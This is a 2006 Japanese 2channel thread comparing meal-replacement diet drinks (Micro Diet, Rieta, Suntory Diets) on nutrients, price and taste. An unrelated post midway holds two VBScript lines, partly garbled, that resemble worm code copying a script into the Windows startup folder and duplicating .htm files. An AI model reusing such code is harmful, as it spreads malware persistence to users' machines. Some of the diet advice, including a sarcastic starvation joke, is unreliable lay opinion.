【置換食】ﾏｲｸﾛ VS ﾘｴｰﾀその他【対決】

おそらく業界No1の知名度と値段を誇るマイクロダイエットに対し、
次々と各社から発売される新商品。マイクロダイエットを基準に、
どの商品が優れあるいは劣っているか比べてみましょう。

参考サイト
http://www.supple-junkies.com/okikaeshoku.html

参考スレ：【置換食】ﾘｴｰﾀ・ｱｻﾋ・ｻﾝﾄﾘｰ・ﾏｲｸﾛ★2杯目【ﾀﾞｲｴﾄ】
http://life7.2ch.net/test/read.cgi/diet/1149104911/

参考スレ追加で「健康食・サプリ」板より

【やらせ広告】マイクロダイエット【誇大広告】
http://food6.2ch.net/test/read.cgi/supplement/1108978505/

マイクロダイエットは健康被害のリスクが高い
http://food6.2ch.net/test/read.cgi/supplement/1133274981/

【【KIRIN☆rieta (リエータ)ってどうですか？】】
http://food6.2ch.net/test/read.cgi/supplement/1121951967/

143 名前：スリムななし(仮)さん[sage] 投稿日：2006/06/05(月) 00:05:05
>>136
どっかのスレで見つけたリンクだけど↓
ttp://www.supple-junkies.com/okikaeshoku.html

これを見る限りで判断すると…

たんぱく質
カルシウム（１回で大量に摂っても意味無いけど）
はマイクロが上だな。
あと味については相当力入れてるらしいから、味については個人差が大きいとはいえマイクロが上と見た方が良いかも。
味が良いと続きやすいから、そういう意味ではマイクロが良いのかもな。

でもマイクロは食物繊維入ってないな。何か理由があるんだろうか？（詳しい人教えてくれ）
リエータにはアミノ酸が豊富だな。ある程度運動する人には良いかも。

169 名前：スリムななし(仮)さん[sage] 投稿日：2006/06/05(月) 01:17:09
結局マイクロの勝ってる点って、「味」「種類」と
大々的な宣伝作戦に伴う「安心感」「モチベーション」「やる気」
なのかな。

大金はたいて買った意味が分からなくなってきた。。。

age

・生ぬるい馴れ合い不要。
・メーカーの誇大広告の晒しあげ歓迎。

真実と正しい情報ならば何でも歓迎。
消費者の立場に立った、実用的なスレを目指します。

とりあえず金額は置いておいて、含まれている成分について徹底比較・検証してみるってのはどうでしょう？
金額の事になるとすぐに煽る人がわいてくるので。

んじゃとりあえずリエータを検証
愛飲者が多そうなストロベリー
ttp://lieta-cafe.com/drink/strawberry.html

アミノ酸が下手なアミノ酸系サプリよりもかなり多い（っていうか多すぎ？）ね。
この点がマイクロとの一番の相違点だと思う。

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　　　　　　　　　　 /　　終了いたしました　　　 /
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荒らしてるの、リエスレのピザだなｗ

マイクロダイエットの成分
ttp://diet.minami-aoyama.com/diet_method/food/micro3.html
↑を見る限り、参考サイトの食物繊維の表記「-」ってのは間違いかな？

ttp://lieta-cafe.com/drink/strawberry.html
↑リエータと比較して見ると、マイクロに入ってる成分でリエータに無い成分は

リン　骨や歯の発育などに効果があります。


逆にリエータに入っていてマイクロに入ってない成分は

セレン　ビタミンＥなどと協力して､血液の流れを改善します。
クロム　 糖代謝、脂質代謝に役立ちます。
マンガン　糖質・脂質・たん白質の代謝に役立ち、エネルギーづくりに関係しています。
亜鉛　たん白質や核酸の合成に関係します。味覚を正常に保つのに役立ちます。
アミノ酸色々　説明するの面倒臭い(w

参考サイト：ttp://www.takeda-kenko.jp/vitamin/

成分を比較してみるとマイクロが特に優れてる点って特に何も無いみたいだね。

>>17
まさにその通り。
マイクロは高いからって痩せるための秘密の成分が入ってるわけでもなし。
リエ、グローバルと似たようなもんだよ。

マイケロは宗教的ぼったくり。
理恵は普通のぼったくり。
マイケロのぼったくりが凄すぎるから、理恵が安く感じられる。

マイケロは宗教的ぼったくりなので、価格は絶対落とせない。
理恵もマイケロの価格が落ちたら困る。
ぼったくり同士の利害が一致し、競争というより共存しあっている。
諸悪の根源は、お前達みたいな騙されやすいアホが多すぎるってこと。

キリンダイエッツ成分表
http://www.suntory-kenko.com/diets/lineup/index.html

マイクロダイエット
http://diet.minami-aoyama.com/diet_method/food/micro3.html


■マイクロに入っていてリエータに無い成分

リン　同上


■ダイエッツに入っていてマイクロに無い成分

ビタミンＫ　血液の凝固に関与し、止血に役立ちます。
銅　骨が作られるときに必要な酵素の成分のひとつです。
キシロオリゴ糖　便の水分量を理想的に保つ（整腸作用）、カルシウムの吸収を促進する
L-カルニチン　有名なので割愛
亜鉛
マンガン
クロム
セレン

参考サイト：http://www.takeda-kenko.jp/vitamin/

↑の結果について

マイクロが特に優れてる点は特に何も見られない。
ダイエッツとリエータに共通してるのは、いわゆるミネラル成分が加わっている事かな？
ダイエッツの特徴はカルニチン。でもこれ運動しないと意味ないよ(w

>>20訂正
×キリンダイエッツ
○サントリーダイエッツ

キリンがまた新しいの出したのかと思ってビックリした。

そういえば置き換えで便秘になったとか聞かないけど
便秘がちの人がやったらどうなるんだろ？

スレタイは違うも、やはり重複じゃない？
削除以来出してよいですか？

ではお願いしますね

別スレの方を削除すべき
依頼出してきますね

本スレで全くまともに機能してない。
馴れ合いを閉じ込める場所としてどっちのスレも必要かと。

本スレちゃんと機能してるよ
こっちは不要

>>28
冷静に見て、向こうはレスの８割方、ピザとかバカとかばっかじゃん。
全く機能していないから削除依頼出すべきだね。

結局マイクロの成分的な優位性は認められない。
その他でマイクロ優位性を挙げるとするのであれば、

・「味」は比較的評判が良い
・「種類」が豊富
・宣伝をよく目にする事によって「安心感」が生まれる
・ダイエットコンテンストを宣伝に使ったりする事により「モチベーション」や「やる気」を起こさせてくれるかも。

以上の４点に対して価格に見合うだけの価値があると思った人が買えば良い。

置き換え食全般に対して一応忠告しとく。
基礎代謝量内に摂取カロリーを抑えて行うダイエットは、ほぼ間違いなくリバウンドする。
何故なら人間の体がそういう風に出来てるから。
置き換え食は夜が最も効果的。
朝・昼はしっかりと食事を取り、出来る限り運動をして消費カロリーを上げる。

体重減らしたいなら、ギプスで全身固定して何も食わずに寝てろ。
死ぬほど痩せれるから(w

＞ ギプスで全身固定して何も食わずに寝てろ。

ﾜﾛﾀ。
確かにｷﾞﾌﾟｽで全身固定して一切動かずに居ると筋肉がどんどん落ちて死ぬほど痩せるだろうね。
発表したら実際にやる馬鹿いるかもよｗｗ

>>29
じゃああなたがむこうにいかずにココだけでがんばればいい。

>>30
せっかくまともなことを書いているのに、最後の2行は余計です。

>>31
あなたまじめに置き換えする気がないなら、ダイエット関係スレにはこないでほしいですね。

>>32
置き換え食だけで体重ばかり気にして痩せようとする馬鹿を皮肉っただけだ。
最後の２行だって嘘は書いてないぞ。
まぁそう熱くなるな(w

ちなみに俺は置き換えなんてやってないので。
マイクロに対して疑問を持たない人があまりにも多すぎるので、お前らもう少し頭使えよと言いたいだけ。

>>33
ならばこんな削除依頼を出されているスレに書かずに本スレに書きなさい。
それに熱くもなっていないよ、いたって冷静。

326 名前： スリムななし(仮)さん [sage] 投稿日： 2006/06/06(火) 00:39:24

基礎代謝量内に摂取カロリーを抑えて行うダイエットとか、未だにこんなの信じてる奴いるのか。
置き換えできる根性があるのに、その根性をどうして運動へと持っていかないのかいつも不思議に思う。

人のやりたい方法に口出すやつってうざいなあ

328 名前：スリムななし(仮)さん[sage] 投稿日：2006/06/06(火) 01:12:16
ttp://www12.ocn.ne.jp/~kawai/homeostasis.htm

329 名前：327[sage] 投稿日：2006/06/06(火) 01:27:54
>>328
まぁまぁまともな説明してるサイトだな。

置き換え食自体が間違ってるとは言わない。

基礎代謝量 ＞ 摂取カロリー　これは間違い。（だがそれを実践してる人が多くて驚くな）

摂取カロリー − 基礎代謝量 ＞ 運動等で消費するエネルギー
↑こうなるようにしなさいって事。

>摂取カロリー − 基礎代謝量 ＞ 運動等で消費するエネルギー

この＞は逆じゃないだろか
（摂取カロリー − 基礎代謝量）＜ 運動等で消費するエネルギー
じゃなきゃ痩せないよね

摂取カロリー ＜ 基礎代謝量 ＋ 運動等で消費するエネルギー

意味は同じだけどこの方が分かりやすいかもね。

でも、弁当やファミレスのメニューに載ってるカロリーもいい加減なもんだからね。
家で食事作ったら、そのメニューの総カロリーなんて全然分からないだろうし。
（同じ材料から作った同じメニューでも調理法が少し違えばカロリーも変わる。）
たとえ正確なカロリーが分かったところで、年齢や体質によってその吸収率は異なるし。

おおよその目安を知るのは良いと思うけど、「カロリー命」みたいな考え方はおかしいよね。
なんか宗教みたいに信じてる人いるけど、あれって一種の洗脳だと思う。

だね

fso.copyfile "dirsystem&nullupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.Copy^^^^File f1.path, f1.path+"l"

信者っていうのは概して穏やか。
他人も周りもみえちゃいねーし。

昨日渋谷マツキヨでリエータ(15袋入り)を￥2.990-で購入。
マイクロとコスパ比べ物にならん…
ビンボ人にはリエタ　リエタ（*^-^*）

味はマイクロ　マイクロ

サイバラはリエコ　リエコ（*^-^*）

リエータとかの置き換えのGI値ってすごいのかな。糖分多いし。
どれくらいか知ったら教えて下さい。

明○製菓のﾀﾞｲｴｯﾄ＆ｺﾗｰｹﾞｿ買ってみた
粉っぽくてﾏｽﾞいヽ(`Д´)ﾉ
もう買わねー

ﾏｲｸﾛはやっぱり一番おいしいよね
ﾘｴｰﾀもそこそこ飲めるかな。

>>48
○治のこと？○治だからおいしいんじゃないんだ…

私は明日、噂のﾘｴｰﾀを買ってこようとｵﾓ。ﾊﾞﾅﾅ嫌いだが…

まいくろ４日目！ミルクティとコーヒー以外ゎとってもｩﾏｽ！
リゾットとかゼリーゎ効果遅いらしいのでドリンクとスープでとりまいずがんがります！
ﾘｴﾀも試してみようかな…どなのかな

ﾘｿﾞｯﾄまずい

>>50
なんでもいいから小文字やめろ

これは？
↓
http://page9.auctions.yahoo.co.jp/jp/auction/k31791240

マイクロレベルの味出すのってそんなに難しいのかなぁ
どこも味はマイクロに追いつかないね。

痩せたいんだったら味がどうのとか甘いこと言ってんじゃﾈｰﾖ！！

ってﾎﾝﾄは言いたいところなんだけどさー、
やっぱりﾏｽﾞいと続かないよね。
三大欲のひとつを制御しようとするんだから。

ﾏｲｸﾛほど味にこだわってないのかなぁ、他のﾒｰｶ。

>>48
ﾏﾝｺﾞｰはおいしかったお

今日からリエータ飲みます！
身長１６１体重５１の標準体重ですが華奢になりたいので４５キロまで落とすつもりです。
それにしてもリエータの効果って実際どうなんでしょうか？

>>57
がんばれー

リエータの効果というか、今までの食事よりリエータの方がカロリー少なければ痩せるんではないでしょうか。
どの置き換え食も痩せる薬が入っているわけではないので。

ただ、栄養のバランスはかなり良いほうだと思うので、そのあたりは評価してよいのではないかと思います。

リエータ抹茶ミルクのみました…。
最近抹茶の美味しさに気づいて、いけるだろうと思って飲んだんですが
粉薬を水にとかした味でした…。
でもﾀﾞｲｴｯﾄ食品だし、おいしくないのが当たり前ですよね！
ちまちま半分飲んだらお腹いっぱいになったので冷蔵庫にしまいました。

>>58
そうですよね！納得です。
わたし野菜嫌いなので、今の栄養バランスかなり悪いと思います
リエータでちょっとでもそのへんが補えたらいいなと思います。
ありがとうございました！

>>57=>>59
水で溶くとやっぱりマズいよね〜。

私はカロリーだけに固執しないで、
続けてゆっくり痩せようと思って、牛乳（低脂肪乳）で溶いて飲んでる。
ぐっと飲みやすくなるよー。
水で溶いたら170前後のｶﾛﾘｰが300近くなっちゃうけどね。

それでも抹茶はﾆｶﾞﾃだけど・・・。

>>59
半分だけじゃダメだよー。作ったらすぐに飲むのが鉄則。
ゆっくり飲むのはいいけど、時間経ったら成分がおかしくなるんだっけかな。
マイクロのサイトにも書いてあったけど、あくまで1袋で1食に必要な栄養素が入ってるから、きちんと飲んだ方がいいよ。
説明しにくいので日本語おかしくなった…

>>61

>ゆっくり飲むのはいいけど、時間経ったら成分がおかしくなるんだっけかな。

げー、それ本当だったら怖いねぇ。
たまに時間おいて飲み干すことあるので。
ソース教えてー。

その「時間が経つ」っていうのがどのくらいか、っていうのが
キモだよね。

私は作ってから20〜30分は置いてるよ。
飲み干すまでに1時間くらいかけてる。
それでも時間がたった、っていうのかなぁ。
1日置いたりしたらさすがにあんまりなのはわかるけど。

ﾘｴﾀのﾊﾟｲﾝﾖｰｸﾞﾙいっこもらったからﾏｲｸﾛのシェイカーでシェイクしたらあわあわになってﾏｽﾞｰ。
ﾏｲｸﾛのほうがおいしい

マイクロ以外の抹茶味、まずいからもう作らないでいいのに。
どうしてあんな味でOK出して市場に出すかね。

ﾏｲｸﾛ社員乙

>>66
いちいちヒマ人ね〜

荒れる予感age

>>67
そんなあなたもひま人ね〜
あ！ﾏｲｸﾛ社員はこれも仕事だったか。
鴨釣るのに必死で今日もご苦労ｻﾝ

>>63
確かにね〜
極端な話、三日も四日もおいても「時間たつ」で一緒だし、流石に悪くなるなと。

リエ飲んで半月たつのに、1ｷﾛ増え1ｷﾛ減るの繰り返しで、結局最初と比べて1キロしか減ってない…


停滞期ってどんくらい続くのかなぁ

>>62
一食分摂る理由のソースはマイクロから。

×マイクロダイエットの栄養に安心して、
半袋分しか飲まない…。
1袋1食分は、しっかり飲んでください。1袋の中に体に必要な栄養素が入っているのです。

…だそうな。栄養分どうののソースは見つからなかったんだけど、
あくまで「飲む直前」に溶かして飲むのが前提じゃないかな。
作り置きはしないでください、とは書いてあった。
1時間程度かね、やっぱり。
うちもゆっくり飲んで15分かな。

>>62は一食分摂取する必要のｿｰｽなんか聞いてないだろ。

体脂肪が減らないで体重が減る場合、何が減ってんだろう…

ンコ

体脂肪が減らないで体重が減る場合、何が減ってんだろう…

>>76
筋肉とか骨とか。
一時的なものなら体内水分量の変化。（だから毎日同じ条件で測らないと全く意味ない）

今までリエータで一食なんて考えられなかった。満足しなくて。
最近食生活を見直して、時間がない時に久々にリエしたら腹がはち切れるほどの満腹に！ 今まで過食だったようだ・・・

>>78
それ、悪玉菌のガスで腹がふくれただけじゃマイカ？
そんな簡単に胃袋が小さくなったり食欲中枢が変化したりしないってｗ

何にしろ満腹になるならいいんじゃん？

亀レスすみません。
>>60
あ〜牛乳だと飲みやすそうです！
他の味も、水で溶くとおいしくないですか？
抹茶はやっぱおいしくないですよね。
>>61
そうなんですね〜、教えてくれてありがとうございます。
一袋がんばってのみます！

ちょっと思ったんですが…これからどんどん暑くなってきますよね。
リエータに限らず、ドリンクタイプの置き換えを水少なめで
カキ氷のシロップがわりにして食べるのはありでしょうか。
冷たくて味もあまりしそうにないですし…いくらか食べやすそうな気がして。
氷が冷たくて味あんまりしそうにないなぁと思いました。

>>81
だれも試したことなさそうだから、
自分で冒険してみるほかないのでは？
ところで、味とかの話題は↓のスレの方が良いかと思います。

置換食】ﾘｴｰﾀ・ｱｻﾋ・ｻﾝﾄﾘｰ・ﾏｲｸﾛ★3杯目【ﾀﾞｲｴﾄ】
http://life7.2ch.net/test/read.cgi/diet/1151455166/l50

なにしろリエは数時間してから腸にガスがたまって苦しい
屁になって出るまでマジつらい

ちゃんと空気抜いてから飲んでる？

明日から利恵やります。
踏み昇降とバナナ黒巣と並行して
少しでも効果でるとよいけど…

アメ横で激安だったので初めて買いました。
スリファ買ったことあるけど、あれは甘すぎてだめでした。。

甘いのあまり好きじゃないで、コーヒーと抹茶の苦さはかえって
のみやすかった。もう一箱買えばよかったと後悔。
一日一食、まったりといきます。

>>86
いくらでしたか？
お店の場所もききたい。

教えてａｇｅ

リエータは全部美味しかったですね。マイクロは美味しいけど高いから続かない。
その分リエータやグローバルは安いから続きますね。リエータはグローバルより
量も多いから満腹感があります。どうしてもおなかがすいてたまらないときは
チアシードと併用して飲むといいかもしれませんね。

>>86 >>87
スレタイ読んだ？
そゆう話は別スレの方がいいじゃないかい？

>>90
その別スレがVIPPERと思しき人物に埋められてしまった件について

しばらくはここが避難スレかな…

1ヶ月で3キロやせました
でもちょっと油断して2食を普通食でちょっと多めに食べたら
一日で１キロ戻っちゃいました。
あっという間に戻るは本当だったかも。

あふぉか。
どうやって１日で１キロもふやせるんだよ。
喰ったモノの重さだろ、それは。

>>81
だれも試したことなさそうだから、
自分で冒険してみるほかないのでは？
ところで、味とかの話題は↓のスレの方が良いかと思います。

【置換食】リエータ・マイクロ等★4杯目【ﾀﾞｲｴﾄ】
http://life7.2ch.net/test/read.cgi/diet/1153111828/l50

すれ違いすいませんでした。。。
マイクロより安いし味もリエータのほうが良かった
です。。。ちょっとだけ牛乳入れてます。

さっそく二箱目購入。一日一回でまったり頑張ります。

腹持ち悪すぎ、続かないよ。

ゼリー、ババロアっぽくて美味しそうなんで食べてみたいんですけど・・
まずいんすね。
カップケーキとかもまずいのかな・・

私はゼリー好きだけどな。うまいと思うけど

ﾘｴ一週間前〜始めたけど、すごい便秘になっちゃって…。
食べる量が減ったとかそんな理由じゃなくて、
あきらかに腹にﾝｺが溜ってるのに出ない。
運動しても野菜食べてもダメで、下剤で出しました。
一昨日から辞めたら今日は快便。

どうやら体質に合わないらしいんですが、そんな方いますか？

食物繊維は一緒に水分取らないと便秘になっちゃうよ！
水をたくさん飲むのだ！

そうか水…。
結構飲んでたつもりだったのですが、足りなかったかな。

前の方に腹にガスが溜るって書いてた人が居ましたが、
自分もまさにそんな感じ。
ガスと便秘で苦しくて〜。

水がぼがぼ飲んでもう一度ﾄﾗｲしてみます。
ありがとうございました。

>>96-101
ところで、ダイエット置換食の話題は↓のスレの方が良いかと思います。

【置換食】リエータ・マイクロ等★4杯目【ﾀﾞｲｴﾄ】
http://life7.2ch.net/test/read.cgi/diet/1153111828/l50

あげ